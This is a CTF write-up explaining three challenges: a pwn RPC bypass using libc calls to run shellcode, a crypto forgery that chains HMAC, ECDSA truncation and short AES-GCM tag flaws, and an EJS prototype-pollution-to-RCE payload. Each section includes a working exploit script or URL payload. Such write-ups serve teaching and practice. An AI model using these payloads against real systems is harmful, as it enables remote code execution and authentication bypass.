Still a nice game. Fortunately, we won the first place this time. And my teammates are all gods, so I didn’t have the chance to do the reverse challenges orz. During this game, I solved one Pwn, one Crypto, and one Web challenge. Some of them are very technical, you need to think of some tricks to bypass the restrictions.

You can get the attachments here.

Tic Tac PWN!

Description: Let’s pretend I just learned about this cool thing called RPC and wrote a simple example! Is it secure?
Author: ptrtofuture
Category: PWN
Points: 435
Solves: 4

The server receives one line of input each time, in the format:

1
lib_name:func_name arg1 arg2 arg3 arg4 arg5 arg6

After parsing, use dlsym to find the corresponding function to call:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Open the lib.
sprintf(lib_name, "rpc_%s.so", lib_and_symbol);
lib = dlopen(lib_name, RTLD_LAZY);

// Check if the symbol is valid.
func_t func = (func_t) dlsym(lib, sep + 1);
if ((sep + 1)[0] == '_' || func == NULL) {
fprintf(stderr, "symbol not found: %s\\n", sep + 1);
exit(1);
}

// Call the function.
func(arg1, arg2, arg3, arg4, arg5, arg6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

The input library name must be concatenated with rpc_, so it is hard to load arbitrary libraries. Coincidentally, the attachment rpc_tictactoe.so imports libc. So we can get any libc function pointer through dlsym.

Before thinking about what libc functions to use, we must find out how to bypass the annoying security_check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool security_check() {
FILE* f = fopen("/proc/self/maps", "rb");
if (f == NULL)
return false;

unsigned long long from, to;
char buf[1024];
while (fgets(buf, sizeof(buf), f)) {
sscanf(buf, "%llx-%llx", &from, &to);
if (from < 0x100000000LLu || to < 0x100000000LLu) {
fclose(f);
return false;
}
}

fclose(f);
return true;
}

This function will be called before each rpc-call. It checks whether a piece of memory in the low address area has been mmaped. If any errors are found, kill the process through exit:

1
2
3
4
if (!security_check()) {
fprintf(stderr, "security error!\\n");
exit(1);
}

Meanwhile, parameters 1-6 are defined in the main function as follows:

1
unsigned int arg1, arg2, arg3, arg4, arg5, arg6;

Therefore, if we want to call mmap and specify the address (the program will not tell the client the return value of each rpc-call), it will definitely fail the next security_check, which will cause the program to exit. But it can be used with on_exit (in libc) to jump to the mapped memory before the program actually exits.

So the exploit should end with:

1
2
on_exit(0x10000);
mmap(0x10000, 4096, 7, 1, 3, 0);

The file corresponding to file handle 3 should contain shellcode.

The problem turns into how to open a file with shellcode or how to open a file (with write permission) and write shellcode.

The answer is to use tmpfile to create an RW temporary file, and then use splice to copy the content of the standard input to the file.

In this way, arbitrary code execution can be achieved with four libc functions in this restricted environment. The EXP is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(log_level = "debug", arch = "amd64", os = "linux")
shellcode = asm(shellcraft.sh())

p = remote("tictac.nc.jctf.pro", 1337)

def rpc_call(func_name, a1=0, a2=0, a3=0, a4=0, a5=0, a6=0):
payload = f"tictactoe:{func_name} {a1} {a2} {a3} {a4} {a5} {a6}"
p.sendline(payload.encode())

rpc_call("tmpfile")

rpc_call("splice", a3=3, a5=len(shellcode))
p.send(shellcode)

rpc_call("on_exit", 0x10000)
rpc_call("mmap", 0x10000, 4096, 7, 1, 3, 0)

p.interactive()

Multi Auth

Description: Every crypto code may have bugs, so we have made a multi-authentication system diversifying across algorithms and languages.
Author: gros
Category: CRYPTO
Points: 373
Solves: 9

The bugs in this question are all from the features of specific languages in the implementation of cryptographic algorithms or the wrong usage of them.

The top-level rust script is equivalent to a dispatcher, calling:

  • index.py: implements auth and verify based on hmac
  • index.go: implements auth and verify based on ecdsa
  • index.js: implements auth and verify based on aes-256-gcm

The bypass of hmac is simple. Pay attention to the implementation of the auth function in the python script:

1
2
3
4
5
def auth(key, msg):
return hmac.new(msg, key, sha256).digest()

def verify(key, msg, sig):
return hmac.compare_digest(sig, auth(key, msg))

The positions of key and msg are reversed. According to hmac definition, we know that if the key is longer than the block size of the hash function, then the real key used to generate the hmac is the hash value of the key.

So after sending the sha256 value of the forbidden string through auth, we can get a signature that can pass the verify.

The input received by the ecdsa part is forbidden || hmac :

1
2
3
4
5
let hmac_signature = hmac_auth.call(&rpc).await?;
rpc.message.append(&mut hmac_signature.to_vec());
signature.hmac = hmac_signature;

let ecdsa_signature = ecdsa_auth.call(&rpc).await?;

When calling ecdsa.SignASN1, pass msg as the hash parameter:

1
2
3
4
5
// SignASN1 signs a hash (which should be the result of hashing a larger message)
// using the private key, priv. If the hash is longer than the bit-length of the
// private key's curve order, the hash will be truncated to that length. It
// returns the ASN.1 encoded signature.
func SignASN1(rand io.Reader, priv *PrivateKey, hash []byte) ([]byte, error)

The comment also tells us that the hash will be converted to a number smaller than the curve order, and the truncation method is:

1
2
3
4
5
func hashToNat[Point nistPoint[Point]](c *nistCurve[Point], e *bigmod.Nat, hash []byte) {
if size := c.N.Size(); len(hash) > size {
hash = hash[:size]
//...
}

The order used here is 521, and our message is 520 bits. So theoretically adding the first byte of hmac can get a signature that passes verify.

As for the aes part, the 15 bytes returned by backdoor is 12 bytes of iv || 3 bytes of tag. Nodejs checks whether the tag length is valid in this way:

1
2
3
bool IsValidGCMTagLength(unsigned int tag_len) {
return tag_len == 4 || tag_len == 8 || (tag_len >= 12 && tag_len <= 16);
}

Therefore, the 4-byte tag can also work without any exception. Only the last byte needs to be tested.

The EXP is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import json
import base64
import hashlib
from pwn import *
context(log_level="debug")

p = remote("multiauth.nc.jctf.pro", 1337)

def auth(msg: bytes, backdoor: bool = False):
api = "backdoor" if backdoor else "auth"
msg = base64.b64encode(msg).decode()
payload = json.dumps({"method": api, "message": msg})
p.sendline(payload.encode())
if backdoor:
return p.recv(15)
else:
return json.loads(p.recvuntil(b'\\n', drop=True))

def verify(msg: bytes, sigs: dict):
msg = base64.b64encode(msg).decode()
payload = json.dumps({"method": "verify", "message": msg, "signatures": sigs})
p.sendline(payload.encode())
response = p.recvuntil(b'\\n', drop=True)
return response.decode()

forbidden = b"We the people, in order to get points, are kindly asking for flag"
p.recvuntil(b"started\\n")

msg = hashlib.sha256(forbidden).digest()
correct_hmac = auth(msg)["hmac"]
log.info(correct_hmac)

msg = forbidden + base64.b64decode(correct_hmac)
correct_ecdsa = auth(msg)["ecdsa"]
log.info(correct_ecdsa)

sigs = {
"hmac": correct_hmac,
"ecdsa": correct_ecdsa,
"aes": ''
}

msg = forbidden + base64.b64decode(correct_hmac) + base64.b64decode(correct_ecdsa)
ivtag = auth(msg, backdoor=True)

for i in range(256):
sigs["aes"] = base64.b64encode(ivtag + bytes([i])).decode()
if "CTF" in verify(forbidden, sigs):
break

Perfect Product

Description: Check out my newest product gallery.
Category: WEB
Points: 340
Solves: 13

The source code is quite simple:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
app.get('/', (req, res) => {
return res.render('index', {products});
});

app.post('/', (req, res) => {
const params = req.body;
if (typeof params.name !== 'string' ||
typeof params.description !== 'string' ||
typeof params.price !== 'string' ||
typeof params.tax !== 'string' ||
typeof params.country !== 'string' ||
typeof params.image !== 'string') {
res.send('Bad request.');
return;
}
products.push({name: params.name, description: params.description, price: params.price, tax: params.tax, country: params.country, image: params.image});
return res.render('index', {products});
});

app.all('/product', (req, res) => {
const params = req.query || {};
Object.assign(params, req.body || {});

let name = params.name
let strings = params.v;


if(!(strings instanceof Array) && !Array.isArray(strings)){
strings = ['NaN', 'NaN', 'NaN', 'NaN', 'NaN'];
}

// make _0 to point to all strings, copy to prevent reference.
strings.unshift(Array.from(strings));

const data = {};

for(const idx in strings){
data[`_${idx}`] = strings[idx];
}

if(typeof name !== 'string'){
name = `Product: NaN`;
}else{
name = `Product: ${name}`;
}

data['productname'] = name;

data['print'] = !!params.print;


res.render('product', data);
});


app.listen(port, async () => {
const testStr = `test4444`;
const res = await fetch(`http://localhost:${port}/product?name=${testStr}`).then(e=>e.text());
if(res.includes(testStr)){
console.log(`App listening on port ${port}`);
}else{
throw new Error("Something went wrong while spawning the challenge");
}
});

It uses the ejs rendering engine:

1
2
app.set('view engine', 'ejs');
app.enable('view cache');

And we can find some relevant posts:

So now we know:

  • the prototype of data is controllable
  • set cache to a null string to disable view cache so that we can modify view options
  • we can modify the escapeFunction when client is set to a valid value

The POC is as follows:

1
/product?v[__proto__][]=exp&v[__proto__][]=exp&v[__proto__][]=exp&v[__proto__][]=exp&v[_proto__][cache]=&v[_proto__][settings][view options][client]=1&v[_proto__][settings][view options][escapeFunction]=process.mainModule.constructor._load("child_process").exec("calc");